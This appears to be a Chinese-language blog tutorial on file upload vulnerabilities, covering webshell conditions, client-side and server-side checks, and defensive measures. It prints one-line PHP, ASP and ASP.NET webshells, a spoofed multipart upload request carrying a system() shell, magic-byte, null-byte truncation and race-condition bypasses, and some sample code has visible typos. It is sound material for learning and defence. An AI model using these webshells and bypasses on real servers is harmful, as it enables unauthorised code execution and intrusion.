简单总结文件上传漏洞
写在前面:
无图言diao系列;;
排版样式我看着还行
能看完大概会有用;
代码基本能直接用(大概;
有错误恳请指出欢迎发邮件与我交流;
参考了网上已有的博客,侵删;
0x00 文件上传漏洞概述
用户突破服务端限制向服务器上传了未经允许的文件,可能是恶意代码或是恶意程序。
但是存在问题,单一的文件上传漏洞并没有直接造成服务器权限的丢失。如果服务器web容器无法解析上传的恶意代码,上传的文件将毫无意义,就相当于在硬盘上有一个病毒文件,但如果我们永远也不去执行它,那他就只是一段存在硬盘上的01而已
文件上传可能存在的安全问题:
- 上传文件为 Web 脚本,服务器的 Web 容器解释并执行了该脚本,导致代码执行——webshell;
- 上传文件是 Flash 的策略文件 crossdomain.xml,攻击者可以控制 Flash 在该域下的行为;
- 上传文件是病毒、木马文件,攻击者用以诱骗用户或者管理员下载执行;
- 上传文件是钓鱼图片或包含了脚本的图片,在某些版本的浏览器中被作为脚本执行,进而被用于欺诈。
webshell 形成的条件:
- 上传的文件位于 Web 容器能够覆盖的目录,从而能够被 Web 容器解释执行;
- 用户能够从 Web 上访问这个文件,从而触发 Web 容器解释执行上传的脚本;
0x01 检测拦截方式与对应的绕过
Payload:一句话木马:
php :<?php @eval($_POST('cmd'));?>
asp:<%eval request("cmd")%>
ASP\.NET:<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>
1. 客户端检测
function checkFile(){
/*这段代码存在于网页前端,当用户单击上传文件的按键时调用这个函数
执行的功能很简单,设置一个标志位,默认为false,通过jsp内置函数
取得文件的扩展名,在一个白名单数组中检测是否命中,如果有则认为在
允许的范围内,将标志位改为true,允许上传;如果没有则拒绝上传*/
var flag = false;
var str = document.getElementById("file").value;//得到文件名
str = str.substring(str.lastIndexOf('.'+1));//获取扩展名
var arr = new Array('png','bmp','gif','jpg');//允许的扩展名
for(var i = 0; i<arr.length; i++){
if(str==arr[i]){
flag=true;
}
}
if(!flag){
alert("Error");
}
return flag;
}
针对以上js验证代码,简单两种绕过方式:
- 使用浏览器firebug插件:
找到并删除调用js脚本的HTML事件,则不会调用js脚本进行验证,直接上传文件 - 使用中间代理burp suite:
拦截并修改HTTP数据包中的数据,同时要注意HTTP请求头中Content-Length,应该与实体正文长度一致,否则可能出现上传失败
2、服务端检测
-
黑白名单验证:
(1)黑名单验证:
<?php
$Blacklist = array('asp','php','jsp','php5','asa','aspx');//黑名单
if(isset($_POST["submit"]) {
$name = $_FILES['file']['name'];//取得文件名
$extension = substr(strrchr($name,"."),1);//取得文件后缀名
$boo = false;
foreach($Blacklist as $key => $value) {
if($value==$extension) {//命中黑名单
$boo = true;
break;
}
}
if(!$boo) {//未命中黑名单,则接受文件,改名并另行存放在指定文件夹
$size = $_FILES['file']['size'];
$tmp = $_FILES['file']['tem_name'];
move_uploaded_file($tmp,$name);
echo "succeed path:".$name;
} else {
echo "failed";
}
}
?>
- 存在被忽略的危险扩展名,例如
asa, cer
- 没有对文件名进行大小写转换操作,使用大写后缀名将正常上传并被解析,例如
pHp, AsP
- 能被解析的文件扩展名列表:
jsp jspx jspf asp asa cer aspx php php php3 php4 exe exee
- 在win下,如果文件名以
.
结尾或者以空格结尾,系统将自动去除,导致绕过验证并在服务器端写程序时以正常后缀名写入执行
(2)白名单验证:
$postfix = end(explode('.','$_POST['filename']);
if($postfix=='jpg'||$postfix=='png'||$postfix=='gif'){
//save the file and do something next
} else {
echo "invalid file type";
return;
}
与黑名单相反,将验证数组换为允许上传的后缀名,进行迭代判断;若命中则允许上传,否则拒绝上传。由于一些解析漏洞的存在,例如IIS6.0中,命名xxx.asp;1.jpg
上传,格式为jpg,但在服务器端解析时,将作为asp脚本解析
-
MIME验证:
mime介绍:http://www.w3school.com.cn/media/media_mimeref.asp
是可以反映出一个文件格式的因特网标准
前台应用程序将判断上传文件的MIME格式,并将其附加到HTTP请求头中,作为服务端判断检测的依据。使用中间代理工具可以修改HTTP头,将Connect-Type:
字段绕过检测。
//抓到的数据包
POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif (原为 Content-Type: text/plain)
<?php system($_GET['command']);?>
<?php//简单的一段后端检测代码
$black_list = array('asp', 'php', 'jsp', 'php5', 'asa', 'aspx');
$flag = true;
$extention = _ FILES['filename']['type'];
//通过_FILE[][]方式取得的文件类型是通过HTTP数据包中的content-type字段得来的,
//可以很容易的通过代理软件更改数据包中的内容
foreach($a as $key=>$value){
if($a == $key){
$flag = false;
break;
}
}
?>
-
文件头绕过:
在客户端可以读取一部分文件内容,检测其文件头和文件结束符,这种方法利用的是每一个特定类型的文件都会有不太一样的开头或者标志位。可以通过比如php的exif_imagetype()函数,一个通过这种方法来过滤的示例代码如下:
<?php
$imageinfo = getimagesize($_FILES['userfile']['tmp_name']);
if ($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {
echo "Sorry, we only accept GIF and JPEG images\n";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
此时,把脚本头部加上相应的文件幻数即可,
例如GIF89a<?php phpinfo();?>
。原理是php引擎会将<? 之前的内容当作html文本,不解释而跳过之,后面的代码仍然能够得到执行
其他的文件幻数如下表:
格式 | 文件头 |
---|---|
TIFF (tif) | 49492A00 |
Windows Bitmap (bmp) | 424D |
CAD (dwg) | 41433130 |
Adobe Photoshop (psd) | 38425053 |
Rich Text Format (rtf) | 7B5C727466 |
MS Word/Excel (xls.or.doc) | D0CF11E0 |
MS Access (mdb) | 5374616E64617264204A |
ZIP Archive (zip) | 504B0304 |
RAR Archive (rar) | 52617221 |
Wave (wav) | 57415645 |
AVI (avi) | 41564920 |
Real Media (rm) | 2E524D46 |
MPEG (mpg) | 000001BA |
MPEG (mpg) | 000001B3 |
Quicktime (mov) | 6D6F6F76 |
Adobe Acrobat (pdf) | 255044462D312E |
Windows Media (asf) | 3026B2758E66CF11 |
MIDI (mid) | 4D546864 |
-
WAF绕过
· 00截断绕过
由于在C语言中00代表字符串的结束,在一个正常的文件名末尾加上00,在组合拼接字符串的时候,就会导致截断。
有一种业务,提供上传的文件改名功能,在上传的文件符合要求存到服务器上之后,要求以post或者get方法再传输一个文件名上去,通过检测文件的文件后缀名再在后台将原本文件的后缀名和后来的文件名拼接起来形成一个新的文件名+后缀名。由于后缀名不是用户能控制的,导致上传的恶意代码无法解析
前半部分的文件上传的时候,为了符合服务端要求,不得不把php等代码文件改后缀名以便上传。但是改名功能提供了解析恶意代码的可能。
$ext_arr = array('flv', 'swf', 'mp3', 'mp4', '3gp', 'zip', 'rar', 'gif', 'png', 'bmp');//允许的后缀名
$file_ext = substr($_FILES['file']['name'],strrpos($_FILES['file']['name'],".")+1);
//使用字符串取子串函数,把‘.’当作分隔符分离开文件名和后缀名,取得后缀名
if(in_array($file_ext,$ext_arr)){//如果文件后缀名在白名单内
$tempFile = $_FILES['file']['tep_name'];//临时存放的文件的名字
$targetPath = $_REQUEST['jieduan'].rand(10,99).data("YmdHis");
//从超全局变量REQUEST里取得'jieduan'的值,通过.方法拼接字符串
//由于字符串拼接的存在,导致了00截断的产生
if(move_upload_file($tempFile,$targetPath)){
echo "succeed!@$targetPath";
}
}
以上代码简单构建了一个改名功能。当php版本小于5.3.4、magic_quotes_gpc为off时,存在00截断攻击。
当以post方法提交数据时,拦截http请求,添加一个0x00字段(可以先输入空格即0x20,再将其改为0x00)
当以get方法提交时,将0x00 url编码为%00,发送。
-
文件内容绕过(条件竞争)
一些网站文件检测逻辑是先允许上传任意文件,然后检查文件内容 是否包含可执行脚本,如果包含则删除。这里使用sleep()函数来模拟判 断是否含有脚本所需要的时间。
绕过方法:利用检测到删除的时间差,立刻访问上传的文件,通过这个文件输出另一个php文件
<?php
fputs(fopen("../webshell.php","W"), "<?php phpinfo()?>");
?>
访问以上php文件就会输出一个php文件,内容就是一个webshell
0x03 防御思路和安全开发
防止未经允许的文件上传:
- 不使用前端检测,只应用后端检测文件的类型
- 采用白名单策略和文件类型检测
- 及时更新web容器,防止解析漏洞绕过
如果被绕过,文件已经上传:
- 文件查看采用数据库获取文件名,从而在相应文件服务器读取文件
- 文件上传限制文件大小,个人上传数量等
- 更改用户上传文件的名称,更改默认的文件存储路径,以防止用户通过url直接访问到上传的文件
- 更改web容器覆盖的目录,禁止解析用户文件夹里的文件,防止上传的文件被执行
0x04 其他
在一开始提到过,文件上传漏洞并不会直接造成服务器权限的泄露,如果web容器没有去解析执行上传的恶意代码,那么并不会造成危害。以最坏的情况去考虑,未经允许的文件已经上传到了服务器上,那能做的事情就是防止文件被解析执行。这就牵涉到文件解析漏洞,下次将会补全文件解析漏洞相关的内容,那就是下一篇博客的事情了